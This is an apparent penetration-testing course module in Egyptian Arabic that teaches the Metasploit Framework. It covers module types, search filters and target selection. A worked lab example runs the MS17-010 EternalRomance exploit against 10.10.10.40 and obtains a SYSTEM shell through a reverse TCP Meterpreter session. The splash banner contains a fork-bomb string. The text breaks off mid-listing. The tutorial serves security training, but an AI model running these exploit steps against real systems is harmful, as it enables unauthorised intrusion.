الـ Metasploit هو الإطار اللي بيجمع الاستغلال في مكان واحد. الموديول بيشرح مكوناته واحدة واحدة وإزاي تستخدمه بشكل منظم.
الموديول ده عن Metasploit Framework: أشهر إطار عمل لاختبار الاختراق. قبل ما ندخل فيه، الموديول بيبدأ بنقاش: هل استخدام الأدوات الأوتوماتيكية صح ولا غلط في الـ assessment؟
الموديول بياخد الرأي التاني، بس بيحذر من 3 مشاكل حقيقية للأدوات:
الأداة مش بديل للمهارة اليدوية. الأداة اللي بتفشل في exploit معناها إن الـ exploit محتاج تخصيص، مش إن الثغرة مش موجودة.
لازم تعرف أدواتك من جوه: فيه أدوات بتسيب traces على الهدف، وأدوات ممكن تفتح أبواب على جهازك انت. اقرأ الـ documentation، واعرف كل function وclass فيها، عشان تتجنب سلوك غير متوقع.
استخدم الأداة كأداة، مش كعمود فقري للـ assessment كله. الأدوات بتوفر وقت للبحث الأعمق في آليات الأمان، وده اللي بيخليك محترف.
Metasploit Project منصة اختبار اختراق مبنية على Ruby، ومودولار: بتكتب وتختبر وتنفذ كود الـ exploit. الكود ده يا إما بتكتبه بنفسك، يا إما بتاخده من قاعدة بيانات فيها آخر الـ exploits المكتشفة والمودولارية. الإطار نفسه مجموعة أدوات بتديك بيئة كاملة لاختبار الثغرات واختراق الشبكات والـ evasion.
الـ modules هي proof-of-concepts اتطورت واتجربت فعلا، ومدمجة في الإطار عشان توصلك لأهداف وأنظمة مختلفة بأوامر قليلة. Metasploit مش بيعمل كل حاجة، لكنه swiss army knife فيه اللي يكفيك لأشهر الثغرات غير المرقعة.
قوته الحقيقية إن عنده targets وversions كتير، وكلها على بعد أوامر من foothold، مع exploit مخصص للنسخة الضعيفة وpayload بيتبعت بعد الـ exploit ويديك وصول فعلي للنظام.
المنتج نسختين: Pro وFramework. الـ Pro فيه مزايا زيادة:
وفيه كمان console خاص بيه شبه msfconsole. أهم قدرات الـ Pro:
| Infiltrate | Collect Data | Remediate |
|---|---|---|
| Manual Exploitation | Import and Scan Data | Bruteforce |
| Anti-virus Evasion | Discovery Scans | Task Chains |
| IPS/IDS Evasion | Meta-Modules | Exploitation Workflow |
| Proxy Pivot | Nexpose Scan Integration | Session Rerun |
| Post-Exploitation | Task Replay | Project Sonar Integration |
| Session Clean-up | Credentials Reuse | Session Management |
| Social Engineering | Payload Generator | Credential Management |
| Quick Pen-testing | VPN Pivoting | Team Collaboration |
| Vulnerability Validation | Phishing Wizard | Web Interface |
| Persistent Sessions | Web App Testing | Backup and Restore |
| Data Export | Evidence Collection | Reporting |
| Tagging Data |
msfconsole هو أشهر واجهة للـ MSF، وبيجمع كل حاجة في مكان واحد:
مع قاعدة الـ modules الضخمة + أدوات خارجية (scanners، social engineering، payload generators)، بيبقى عندك جهاز جاهز للضرب، بتدير بيه الثغرات بـ sessions وjobs زي تابات المتصفح.
الملفات الأساسية في ParrotOS (وKali) تحت:
/usr/share/metasploit-framework
Data وLib هما الجزء الشغال من الـ console، وDocumentation فيه كل التفاصيل التقنية للمشروع.
الـ modules مقسمة فولدرات حسب النوع:
ls /usr/share/metasploit-framework/modules
auxiliary encoders evasion exploits nops payloads postالـ plugins بتديك مرونة زيادة: بتتحمل يدوي أو أوتوماتيك وقت الحاجة، وبتضيف وظائف وأتمتة للـ assessment.
ls /usr/share/metasploit-framework/plugins/
aggregator.rb ips_filter.rb openvas.rb sounds.rb
alias.rb komand.rb pcap_log.rb sqlmap.rb
auto_add_route.rb lab.rb request.rb thread.rb
beholder.rb libnotify.rb rssfeed.rb token_adduser.rb
db_credcollect.rb msfd.rb sample.rb token_hunter.rb
db_tracker.rb msgrpc.rb session_notifier.rb wiki.rb
event_tester.rb nessus.rb session_tagger.rb wmap.rb
ffautoregen.rb nexpose.rb socket_logger.rbوظائف Meterpreter وسكربتات مفيدة تانية.
ls /usr/share/metasploit-framework/scripts/
meterpreter ps resource shellأدوات command-line بتتنادى مباشرة من منيو الـ msfconsole.
ls /usr/share/metasploit-framework/tools/
context docs hardware modules payloads
dev exploit memdump password reconبعد ما عرفت الأماكن دي، سهل ترجع لها لما تحب تضيف module جديد أو تكتب واحد من الصفر.
1) أنهي نسخة من Metasploit فيها GUI؟ Pro. 2) أنهي command تتعامل بيه مع النسخة المجانية؟ msfconsole.
عشان تبدأ تتعامل مع الإطار، اكتب msfconsole في الترمنال. Parrot وKali بييجوا فيه متثبت جاهز. فيه اختيارات كتير عند التشغيل زي أي أداة command-line: من display options لخيارات إجرائية.
أول ما تشغله بتقابلك شاشة الـ splash والفلووس بتاعها، ومستنية أول أمر:
msfconsole
`:oDFo:`
./ymM0dayMmy/.
-+dHJ5aGFyZGVyIQ==+-
`:sm⏣~~Destroy.No.Data~~s:` -+h2~~Maintain.No.Persistence~~h+-
`:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`
./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.
-++SecKCoin++e.AMd`
`.-://///+hbove.913.ElsMNh+-
-~/.ssh/id_rsa.Des-
`htN01UserWroteMe!-
:dopeAW.No<nano>o
:is:TЯiKC.sudo-.A:
:we're.all.alike'`
The.PFYroy.No.D7:
:PLACEDRINKHERE!:
yxp_cmdshell.Ab0:
:msf>exploit -j.
:Ns.BOB&ALICEes7:
:---srwxrwx:-.`
`MS146.52.No.Per:
:<script>.Ac816/
sENbove3101.404:
:NT_AUTHORITY.Do
`T:/shSYSTEM-.N:
:09.14.2011.raid
/STFU|wall.No.Pr:
:hevnsntSurb025N.
dNVRGOING2GIVUUP:
:#OUTHOUSE- -s:
/corykennedyData:
:$nmap -oS
SSo.6178306Ence:
:Awsm.da:
/shMTl#beats3o.No.:
:Ring0:
`dDestRoyREXKC3ta/M:
:23d:
sSETEC.ASTRONOMYist:
/- /yo- .ence.N:(){ :|: &
};:
`:Shall.We.Play.A.Game?
tron/
```-
ooy.if1ghtf0r+ehUser5`
..th3.H1V3.U2VjRFNN.jMh+.`
`MjM~~WE.ARE.se~~MMjMs
+~KANSAS.CITY's~-`
J~HAKCERS~./.`
.esc:wq!:`
+++ATH`
`
=[ metasploit v6.1.9-dev ]+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Use sessions -1 to interact with the last opened session
msf6 >الـ output بيعرض عدد الـ exploits والـ auxiliary والـ post المتاحين. لو عايز تشغله من غير البانر:
msfconsole -q
msf6 >وبعدين help بيوريك كل الأوامر المتاحة. وقبل أي حاجة: خلي الأدوات محدثة.
sudo apt update && sudo apt install metasploit-framework
<SNIP>
(Reading database ... 414458 files and directories currently installed.)
Preparing to unpack .../metasploit-framework_6.0.2-0parrot1_amd64.deb ...
Unpacking metasploit-framework (6.0.2-0parrot1) over (5.0.88-0kali1) ...
Setting up metasploit-framework (6.0.2-0parrot1) ...
Processing triggers for man-db (2.9.1-1) ...
Scanning application launchers
Removing duplicate launchers from Debian
Launchers are updatedالطريقة القديمة كانت msfupdate من بره الـ console، لكن apt دلوقتي بيتعامل مع تحديث الـ modules والمزايا بسهولة.
قبل ما تدور على exploit مناسب، لازم تعرف الهدف كويس. ده هو الـ Enumeration، وبيسبق أي محاولة exploitation.
في الـ Enumeration بتشوف الهدف وبتحدد الخدمات العامة اللي شغالة عليه: HTTP؟ FTP؟ SQL Database؟ لازم تبدأ بـ scan شامل لعنوان الـ IP عشان تعرف كل خدمة وأنهي version شغالة.
الـ versions هي مفتاح الـ Enumeration: نسخة غير مرقعة من خدمة معروفة، أو كود قديم في platform متاح للعامة، هو غالبا نقطة دخولك للنظام.
شغل الـ MSF بينقسم 5 فئات رئيسية، والتقسيم ده بيسهل اختيار المزايا المناسبة:
كل فئة ليها subcategories لغرض معين، زي Service Validation وVulnerability Research.
هنمشي على كل فئة في الموديول، بس جرب كل function بنفسك وحلل النتايج، لأن التجربة جزء أساسي من تعلم أي أداة.
الـ modules سكربتات جاهزة ليها غرض محدد ووظائف محددة، اتطورت واتجربت فعلا. فئة exploit فيها POCs بتستغل الثغرات بشكل أوتوماتيكي كبير.
فشل الـ exploit معناه إن exploit Metasploit مش شغال، مش إن الثغرة مش موجودة. فيه exploits محتاجة تخصيص حسب الهدف. الأداة دعم، مش بديل عن مهارتك اليدوية.
جوه الـ msfconsole، كل module ليه مسار مقسم فولدرات بالشكل ده:
<No.> <type>/<os>/<service>/<name>794 exploit/windows/ftp/scriptftp_listالـ No. رقم بيتعرض عشان تختار بيه الـ exploit بعدين في البحث، بدل ما تكتب المسار كامل.
أول مستوى تقسيم: بيقولك الكود بيعمل إيه. فيه أنواع مش interactable (مش بتستخدمها كـ exploit)، بس موجودة لتنظيم البنية:
| Type | Description |
|---|---|
| Auxiliary | Scanning, fuzzing, sniffing, and admin capabilities. |
| Encoders | Ensure that payloads are intact to their destination. |
| Exploits | Modules that exploit a vulnerability allowing payload delivery. |
| NOPs | (No Operation code) Keep payload sizes consistent across attempts. |
| Payloads | Code runs remotely and calls back to establish a connection (or shell). |
| Plugins | Additional scripts integrated with msfconsole. |
| Post | Gather information, pivot deeper, etc. |
أمر use <no.> بيشتغل بس مع الأنواع اللي تنفع تكون initiators:
| Type | Description |
|---|---|
| Auxiliary | Scanning, fuzzing, sniffing, and admin capabilities. |
| Exploits | Exploit a vulnerability that allows payload delivery. |
| Post | Gather information, pivot deeper, etc. |
نظام التشغيل والـ architecture اللي الـ module اتعمل عشانها. كل نظام محتاج كود مختلف.
الخدمة الضعيفة على الهدف. في modules زي auxiliary وpost ممكن تشير لنشاط عام زي gather (جمع credentials مثلا).
الفعل الفعلي اللي الـ module بيعمله.
Metasploit فيه search function قوية بتدور في كل الـ modules بوسوم محددة توصل بسرعة للـ module المناسب لهدفك.
msf6 > help search
Usage: search [<options>] [<keywords>:<value>]
Prepending a value with '-' will exclude any matching results.
If no options or keywords are provided, cached results are displayed.
OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Regex pattern used to filter search results
-u Use module if there is one result
-s <search_column> Sort the research results based on <search_column>
in ascending order
-r Reverse the search results order to descending
order
Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description fullname : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive
(ex: 'good') or numeric with comparison operators (ex: 'gte400'))
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload,
auxiliary, encoder, evasion, post, or nop)
Supported search columns:
rank : Sort modules by their exploitabilty rank
date : Sort modules by their disclosure date. Alias for
disclosure_date
disclosure_date : Sort modules by their disclosure date
name : Sort modules by their name
type : Sort modules by their type
check : Sort modules by whether or not they have a check
method
Examples:
search cve:2009 type:exploit
search cve:2009 type:exploit platform:-linux
search cve:2009 -s name
search type:exploit -s type -rمثال: تدوير على exploit EternalRomance لأنظمة Windows القديمة:
msf6 > search eternalromance
Matching Modules
================
# Name Disclosure Date Rank Check
Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal YesMS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Command Execution
msf6 > search eternalromance type:exploit
Matching Modules
================
# Name Disclosure Date Rank Check
Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Code Executionوتقدر تضيق البحث أكتر بفلتر واحد أو أكتر:
cve:<year> · platform:<os> · type:<auxiliary/exploit/post> · rank:<rank> · <pattern>msf6 > search type:exploit platform:windows cve:2021 rank:excellent
microsoft
Matching Modules
================
# Name Disclosure Date
Rank Check Description
- ---- --------------- ---
- ----- -----------
0 exploit/windows/http/exchange_proxylogon_rce 2021-03-02
excellent Yes Microsoft Exchange ProxyLogon RCE
1 exploit/windows/http/exchange_proxyshell_rce 2021-04-06
excellent Yes Microsoft Exchange ProxyShell RCE
2 exploit/windows/http/sharepoint_unsafe_control 2021-05-11
excellent Yes Microsoft SharePoint Unsafe Control and ViewState RCEالنتايج بتبقى اللي مطابقة لكل الفلاتر مع بعض.
افترض إن الهدف عليه SMB ضعيف لـ EternalRomance (MS17_010)، وإن scan طلع البورت 445 مفتوح:
nmap -sV 10.10.10.40
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-13 21:38 UTC
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service
Scan
Nmap scan report for 10.10.10.40
Host is up (0.051s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.87 secondsنفتح msfconsole وندور بالاسم بالظبط:
msf6 > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank
Check Description
- ---- --------------- ----
----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average
Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normalYes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal
No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote
Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal
No MS17-010 SMB RCE Detectionمن الـ Nmap عرفنا إن الـ SMB على Microsoft Windows 7 - 10، ومع شوية OS scanning نقدر نخمن إنه Windows 7 بنسخة SMB ضعيفة. نختار الـ module بالـ index 2 ونجرب إذا كان الهدف ضعيف فعلا.
use <no.>.run.جوه الـ modules التفاعلية فيه options كتير بتظبط الـ module على البيئة: الـ IP بيتغير كل مرة، فمحتاج تحدد الهدف وتظبطه. أمر show options بيوريك اللي لازم يتظبط قبل ما الـ exploit يتبعت؛ أي حاجة مطلوبة بيبقى عندها Yes في عمود Required.
<SNIP>
Matching Modules
================
# Name Disclosure Date Rank Check
Description
- ---- --------------- ---- -----
-----------
0 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Code Execution
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No
MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
Command Executionmsf6 > use 0
msf6 exploit(windows/smb/ms17_010_psexec) > options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required
Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes
The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen portExploit target:
Id Name
-- ----
0 Automaticوهنا يبان فايدة الـ No.: مش محتاج تكتب المسار كامل، بس الرقم. وبعد الاختيار، أمر info بيديك معلومات مهمة عن الـ module:
msf6 exploit(windows/smb/ms17_010_psexec) > info
Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB
Remote Windows Code Execution
Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14
Provided by:
sleepya
zerosum0x0
Shadow Brokers
Equation Group
Available targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
Check supported:
Yes
Basic options:
Name Current Setting Required
Description
---- --------------- -------------------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS yes
The target host(s), see https://github.com/rapid7/metasploit-framework/
wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a nor
mal read/write folder share
SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as
Payload information:
Space: 3072
Description:
This module will exploit SMB with vulnerabilities in MS17-010 to
achieve a write-what-where primitive. This will then be used to
overwrite the connection session information with as an
Administrator session. From there, the normal psexec payload code
execution is done. Exploits a type confusion between Transaction and
WriteAndX requests and a race condition in Transaction requests, as
seen in the EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the EternalBlue
exploit, but requires a named pipe.
References:
https://docs.microsoft.com/en-us/security-
updates/SecurityBulletins/2017/MS17-010 https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://github.com/worawit/MS17-010
https://hitcon.org/2017/CMT/slide-files/d2_s2_r0.pdf
https://blogs.technet.microsoft.com/srd/2017/06/29/eternal-champion-
exploit-analysis/
Also known as:
ETERNALSYNERGY
ETERNALROMANCE
ETERNALCHAMPION
ETERNALBLUEبعد ما تتأكد إنه الـ module الصح، تظبط الخصائص: الـ target (RHOST أو RHOSTS) وغيرها.
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required
Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes
The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automaticوفيه كمان setg: بيخلي القيمة permanent لحد ما تعيد تشغيل البرنامج. لو شغال على هدف واحد، ظبط الـ IP مرة واحدة وخلاص:
msf6 exploit(windows/smb/ms17_010_psexec) > setg RHOSTS 10.10.10.40
RHOSTS => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required
Description
---- --------------- -------------------
DBGTRACE false yes
Show extra debug trace info
LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes
The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automaticلما كل حاجة جاهزة، نشغل الهجوم (هنا الـ payload الافتراضي كفاية للتجربة):
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! -
Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB
reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f
66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53
65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31
ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by
DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent
to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158)
at 2020-08-13 21:37:21 +0000
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=
meterpreter> shellC:\Windows\system32>بقى عندك shell على جهاز الهدف وتقدر تتعامل معاه:
C:\Windows\system32> whoami
whoami
nt authority\systemالمثال ده سريع وقذر، لكنه بيوضح الإطار: module واحد، من غير اختيار payload ولا encoding ولا pivoting بين sessions. ده بالظبط اللي بيخلي msfconsole مفيد في الدقايق الأولى.
الـ Targets معرفات نظام تشغيل مأخوذة من versions محددة، وبتظبط الـ exploit module عشان يشتغل على النسخة دي بالذات. أمر show targets جوه module بيعرض كل الـ targets الضعيفة المتاحة للـ exploit؛ لو كتبته في الـ root menu بره أي module، هيقولك اختار exploit الأول.
msf6 > show targets
[-] No exploit module selected.ولما نشوف الـ module السابق (ms17_010_psexec):
msf6 exploit(windows/smb/ms17_010_psexec) > options
Name Current Setting Required
Description
---- --------------- --------
-----------
DBGTRACE false yes
Show extra debug trace info LEAKATTEMPTS 99 yes
How many times to try to leak transaction
NAMEDPIPE no
A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wo yes
List of named pipes to check
rdlists/named_pipes.txt
RHOSTS 10.10.10.40 yes
The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 445 yes
The Target port (TCP)
SERVICE_DESCRIPTION no
Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no
The service display name
SERVICE_NAME no
The service name
SHARE ADMIN$ yes
The share to connect to, can be an admin share (ADMIN$,C$,...) or a no
rmal read/write folder share
SMBDomain . no
The Windows domain to use for authentication
SMBPass no
The password for the specified username
SMBUser no
The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
LHOST yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automaticهنا فيه نوع target عام واحد للـ exploit ده. طيب لو غيرنا الـ module لواحد محتاج نطاقات targets محددة؟ الـ exploit التالي موجه لـ:
MS12-063 Microsoft Internet Explorer execCommand Use-After-Freeلو عايز تعرف أكتر عن الثغرة اللي وراه، استخدم info. وده من أول الخطوات دايما مع أي module جديد: تعرف وظيفته وتتأكد من بيئة شغل نظيفة وآمنة لك وللعميل.
msf6 exploit(windows/browser/ie_execcommand_uaf) > info
Name: MS12-063 Microsoft Internet Explorer execCommand Use-After-
Free Vulnerability
Module: exploit/windows/browser/ie_execcommand_uaf
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2012-09-14
Provided by:
unknown
eromang
binjo
sinn3r <[email protected]>
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7 6 IE 9 on Windows 7
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This
must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming
connections
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
Payload information:
Description:
This module exploits a vulnerability found in Microsoft Internet
Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object
gets deleted in an unexpected manner, but the same memory is reused
again later in the CMshtmlEd::Exec() function, leading to a
use-after-free condition. Please note that this vulnerability has
been exploited since Sep 14, 2012. Also, note that
presently, this module has some target dependencies for the ROP
chain to be valid. For WinXP SP3 with IE8, msvcrt must be present
(as it is by default). For Vista or Win7 with IE8, or Win7 with IE9,
JRE 1.6.x or below must be installed (which is often the case).
References:
https://cvedetails.com/cve/CVE-2012-4969/
OSVDB (85532)
https://docs.microsoft.com/en-us/security-
updates/SecurityBulletins/2012/MS12-063
http://technet.microsoft.com/en-us/security/advisory/2757760
http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-
yet/بعد ما تقرأ الوصف وتعرف الـ exploit بيعمل إيه، تشوف أنهي versions ضعيفة:
msf6 exploit(windows/browser/ie_execcommand_uaf) > options
Module options (exploit/windows/browser/ie_execcommand_uaf):
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This
must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming
connections
SSLCert no Path to a custom SSL certificate
(default is randomly generated)
URIPATH no The URI to use for this exploit
(default is random)
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
4 IE 8 on Windows Vista
5 IE 8 on Windows 7
6 IE 9 on Windows 7الـ options بتشمل نسخ Internet Explorer مختلفة ونسخ Windows مختلفة. لو سبتها Automatic، الـ msfconsole هيعمل service detection على الهدف قبل ما يبدأ الهجوم. ولو انت عارف النسخ اللي شغالة، اختار بالرقم:
set target <index no.>
msf6 exploit(windows/browser/ie_execcommand_uaf) > show targets
Exploit targets: Id Name
-- ----
0 Automatic
1 IE 7 on Windows XP SP3
2 IE 8 on Windows XP SP3
3 IE 7 on Windows Vista
